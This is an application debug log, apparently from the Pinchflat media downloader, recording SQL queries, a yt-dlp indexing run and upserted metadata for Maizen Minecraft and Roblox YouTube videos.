17:03:57.836 [debug] QUERY OK source="sources" db=0.1ms idle=87.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 17:03:57.837 [debug] QUERY OK source="media_profiles" db=0.2ms idle=3.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:03:57.837 [debug] QUERY OK source="media_items" db=0.2ms idle=3.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [86028] 17:03:57.837 [debug] Current batch of media processed. Will check again in 1000ms 17:03:58.838 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Today, JJ and Mikey have stumbled upon a shady salesman. He says that pushing this button will give you free cake, but you're be trapped in an alternate dimension for 500 Million years! That can't really be true...can it?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "duration" => 915, "filename" => "/downloads/shows/Maizen/Season 2026/s2026e051600 - 500 Million Year Button.mp4", "id" => "sbn-vC02XcE", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=sbn-vC02XcE", "playlist_index" => 16, "timestamp" => 1778901923, "title" => "500 Million Year Button", "upload_date" => "20260516"} 17:03:58.839 [debug] QUERY OK source="sources" db=0.2ms idle=1002.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 17:03:58.839 [debug] QUERY OK source="sources" db=0.2ms idle=1002.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 17:03:58.841 [debug] QUERY OK source="media_items" db=1.3ms idle=1002.8ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-16 03:25:23Z], 2] 17:03:58.842 [debug] QUERY OK source="media_items" db=0.7ms idle=1004.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, JJ and Mikey have stumbled upon a shady salesman. He says that pushing this button will give you free cake, but you're be trapped in an alternate dimension for 500 Million years! That can't really be true...can it?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "500 Million Year Button", "6eba044f-11ae-40c6-94b8-260526e9715b", "sbn-vC02XcE", 915, false, "https://www.youtube.com/watch?v=sbn-vC02XcE", 16, "/downloads/shows/Maizen/Season 2026/s2026e051600 - 500 Million Year Button.mp4", false, false, false, 2, [], 98, ~U[2026-05-16 03:25:23Z], ~U[2026-08-20 00:03:58Z], ~U[2026-08-20 00:03:58Z], "Today, JJ and Mikey have stumbled upon a shady salesman. He says that pushing this button will give you free cake, but you're be trapped in an alternate dimension for 500 Million years! That can't really be true...can it?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "500 Million Year Button", "sbn-vC02XcE", 915, false, "https://www.youtube.com/watch?v=sbn-vC02XcE", "/downloads/shows/Maizen/Season 2026/s2026e051600 - 500 Million Year Button.mp4", false, 2, ~U[2026-05-16 03:25:23Z]] 17:03:58.842 [debug] QUERY OK source="sources" db=0.2ms idle=92.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 17:03:58.843 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:03:58.843 [debug] QUERY OK source="media_items" db=0.1ms idle=3.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [81994] 17:03:58.843 [debug] Current batch of media processed. Will check again in 1000ms 17:03:59.844 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Today, we're playing Speedrunner vs Hunter, with a twist! JJ can morph into all sorts of different mobs, awesome! Over time, JJ will unlock new mobs to transform into, what kinds of useful mobs will JJ turn into?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "duration" => 955, "filename" => "/downloads/shows/Maizen/Season 2026/s2026e051300 - MUTANT Speedrunners VS Hunter in Minecraft.mp4", "id" => "5bH1T7ZwmjA", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=5bH1T7ZwmjA", "playlist_index" => 17, "timestamp" => 1778643903, "title" => "MUTANT Speedrunners VS Hunter in Minecraft", "upload_date" => "20260513"} 17:03:59.845 [debug] QUERY OK source="sources" db=0.2ms idle=1002.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 17:03:59.845 [debug] QUERY OK source="sources" db=0.1ms idle=1002.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 17:03:59.846 [debug] QUERY OK source="media_items" db=1.3ms idle=1002.2ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-13 03:45:03Z], 2] 17:03:59.847 [debug] QUERY OK source="media_items" db=0.7ms idle=1003.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, we're playing Speedrunner vs Hunter, with a twist! JJ can morph into all sorts of different mobs, awesome! Over time, JJ will unlock new mobs to transform into, what kinds of useful mobs will JJ turn into?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "MUTANT Speedrunners VS Hunter in Minecraft", "8c0a8bb9-443d-4039-b567-42f7de2ff804", "5bH1T7ZwmjA", 955, false, "https://www.youtube.com/watch?v=5bH1T7ZwmjA", 17, "/downloads/shows/Maizen/Season 2026/s2026e051300 - MUTANT Speedrunners VS Hunter in Minecraft.mp4", false, false, false, 2, [], 98, ~U[2026-05-13 03:45:03Z], ~U[2026-08-20 00:03:59Z], ~U[2026-08-20 00:03:59Z], "Today, we're playing Speedrunner vs Hunter, with a twist! JJ can morph into all sorts of different mobs, awesome! Over time, JJ will unlock new mobs to transform into, what kinds of useful mobs will JJ turn into?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "MUTANT Speedrunners VS Hunter in Minecraft", "5bH1T7ZwmjA", 955, false, "https://www.youtube.com/watch?v=5bH1T7ZwmjA", "/downloads/shows/Maizen/Season 2026/s2026e051300 - MUTANT Speedrunners VS Hunter in Minecraft.mp4", false, 2, ~U[2026-05-13 03:45:03Z]] 17:03:59.848 [debug] QUERY OK source="sources" db=0.1ms idle=95.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 17:03:59.848 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:03:59.849 [debug] QUERY OK source="media_items" db=0.1ms idle=3.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [69843] 17:03:59.849 [debug] Current batch of media processed. Will check again in 1000ms 17:04:00.039 [info] {"source":"oban","duration":284,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:04:00.849 [debug] Current batch of media processed. Will check again in 1000ms 17:04:01.174 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/@maizenofficial --simulate --skip-download --ignore-no-formats-error --no-warnings --output /downloads/shows/Maizen/Season %(upload_date>%Y)S/s%(upload_date>%Y)Se%(upload_date>%m%d)S00 - %(title)S.%(ext)S --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --break-on-existing --download-archive /tmp/pinchflat/data/4b/05/4b0507b8b7ddf15f97b82c2022d5e3cea32d4831ae522a904434de89902266b0.txt --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/60/ad/60adaaaeb90a6b84b15b50a5d2756f441390064c984bf3e90e2580e418d13d87.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 101 with: 17:04:01.174 [debug] Gracefully stopping file follower 17:04:01.175 [debug] QUERY OK source="sources" db=0.1ms queue=0.1ms idle=1326.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 17:04:01.175 [debug] QUERY OK source="sources" db=0.1ms idle=1326.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 17:04:01.177 [debug] QUERY OK source="media_items" db=1.4ms idle=1326.5ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-08-18 09:00:12Z], 2] 17:04:01.178 [debug] QUERY OK source="media_items" db=0.7ms idle=1137.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, we're playing a game where we can eat anything! Yummy! Everything we eat makes us grow, and the bigger we get, the more powerful we become! Let's eat the entire world!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "Why JJ And Mikey Ate ENTIRE World?", "4e5e2f06-deb5-4076-843b-10031afa1d2d", "2-aPfodzXeE", 976, false, "https://www.youtube.com/watch?v=2-aPfodzXeE", 1, "/downloads/shows/Maizen/Season 2026/s2026e081800 - Why JJ And Mikey Ate ENTIRE World?.mp4", false, false, false, 2, [], 98, ~U[2026-08-18 09:00:12Z], ~U[2026-08-20 00:04:01Z], ~U[2026-08-20 00:04:01Z], "Today, we're playing a game where we can eat anything! Yummy! Everything we eat makes us grow, and the bigger we get, the more powerful we become! Let's eat the entire world!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "Why JJ And Mikey Ate ENTIRE World?", "2-aPfodzXeE", 976, false, "https://www.youtube.com/watch?v=2-aPfodzXeE", "/downloads/shows/Maizen/Season 2026/s2026e081800 - Why JJ And Mikey Ate ENTIRE World?.mp4", false, 2, ~U[2026-08-18 09:00:12Z]] 17:04:01.178 [debug] QUERY OK source="sources" db=0.1ms idle=424.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 17:04:01.180 [debug] QUERY OK source="media_items" db=1.3ms idle=3.4ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-08-16 04:00:11Z], 2] 17:04:01.180 [debug] QUERY OK source="media_items" db=0.6ms idle=4.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Mikey's planning a prank to blow up JJ's house, but JJ caught on just in time! Now it's up to JJ to turn Mikey's prank against him in an epic reverse-prank! Will Mikey catch on before it's too late?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "Mikey BLEW UP His OWN CASTLE! in Minecraft!!", "0e8492b2-06da-4de6-a357-57c4797e8022", "SYBhOxduPUg", 1231, false, "https://www.youtube.com/watch?v=SYBhOxduPUg", 2, "/downloads/shows/Maizen/Season 2026/s2026e081600 - Mikey BLEW UP His OWN CASTLE! in Minecraft!!.mp4", false, false, false, 2, [], 98, ~U[2026-08-16 04:00:11Z], ~U[2026-08-20 00:04:01Z], ~U[2026-08-20 00:04:01Z], "Today, Mikey's planning a prank to blow up JJ's house, but JJ caught on just in time! Now it's up to JJ to turn Mikey's prank against him in an epic reverse-prank! Will Mikey catch on before it's too late?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "Mikey BLEW UP His OWN CASTLE! in Minecraft!!", "SYBhOxduPUg", 1231, false, "https://www.youtube.com/watch?v=SYBhOxduPUg", "/downloads/shows/Maizen/Season 2026/s2026e081600 - Mikey BLEW UP His OWN CASTLE! in Minecraft!!.mp4", false, 2, ~U[2026-08-16 04:00:11Z]] 17:04:01.181 [debug] QUERY OK source="sources" db=0.2ms idle=4.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 17:04:01.182 [debug] QUERY OK source="media_items" db=1.1ms idle=3.3ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-08-15 12:31:16Z], 2] 17:04:01.183 [debug] QUERY OK source="media_items" db=0.6ms idle=4.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, we're playing Build Your Base! 150 waves of powerful enemies will be coming to destroy our heart block, and it's up to us to build the most powerful security systems to keep them away! On the very last wave, a massive dragon awaits! Will we be able to take down the dragon and protect our heart blocks?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "BUILDING The SAFEST BASE to Survive in Roblox", "a01c758e-1655-468e-aa9d-9959622ef352", "TEmV_KQkWXY", 1360, false, "https://www.youtube.com/watch?v=TEmV_KQkWXY", 3, "/downloads/shows/Maizen/Season 2026/s2026e081500 - BUILDING The SAFEST BASE to Survive in Roblox.mp4", false, false, false, 2, [], 98, ~U[2026-08-15 12:31:16Z], ~U[2026-08-20 00:04:01Z], ~U[2026-08-20 00:04:01Z], "Today, we're playing Build Your Base! 150 waves of powerful enemies will be coming to destroy our heart block, and it's up to us to build the most powerful security systems to keep them away! On the very last wave, a massive dragon awaits! Will we be able to take down the dragon and protect our heart blocks?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "BUILDING The SAFEST BASE to Survive in Roblox", "TEmV_KQkWXY", 1360, false, "https://www.youtube.com/watch?v=TEmV_KQkWXY", "/downloads/shows/Maizen/Season 2026/s2026e081500 - BUILDING The SAFEST BASE to Survive in Roblox.mp4", false, 2, ~U[2026-08-15 12:31:16Z]] 17:04:01.183 [debug] QUERY OK source="sources" db=0.1ms idle=3.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 17:04:01.185 [debug] QUERY OK source="media_items" db=1.2ms idle=3.1ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-07-23 03:28:21Z], 2] 17:04:01.187 [debug] QUERY OK source="media_items" db=1.4ms idle=4.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Hi everybody.\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "JJ vs. Mikey", "dfc5e02a-cc95-40c7-8526-606f6b80ab53", "DmxYE_YOLQ8", 4713, false, "https://www.youtube.com/watch?v=DmxYE_YOLQ8", 4, "/downloads/shows/Maizen/Season 2026/s2026e072300 - JJ vs. Mikey.mp4", false, false, false, 2, [], 98, ~U[2026-07-23 03:28:21Z], ~U[2026-08-20 00:04:01Z], ~U[2026-08-20 00:04:01Z], "Hi everybody.\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "JJ vs. Mikey", "DmxYE_YOLQ8", 4713, false, "https://www.youtube.com/watch?v=DmxYE_YOLQ8", "/downloads/shows/Maizen/Season 2026/s2026e072300 - JJ vs. Mikey.mp4", false, 2, ~U[2026-07-23 03:28:21Z]] 17:04:01.187 [debug] QUERY OK source="sources" db=0.2ms idle=4.5ms 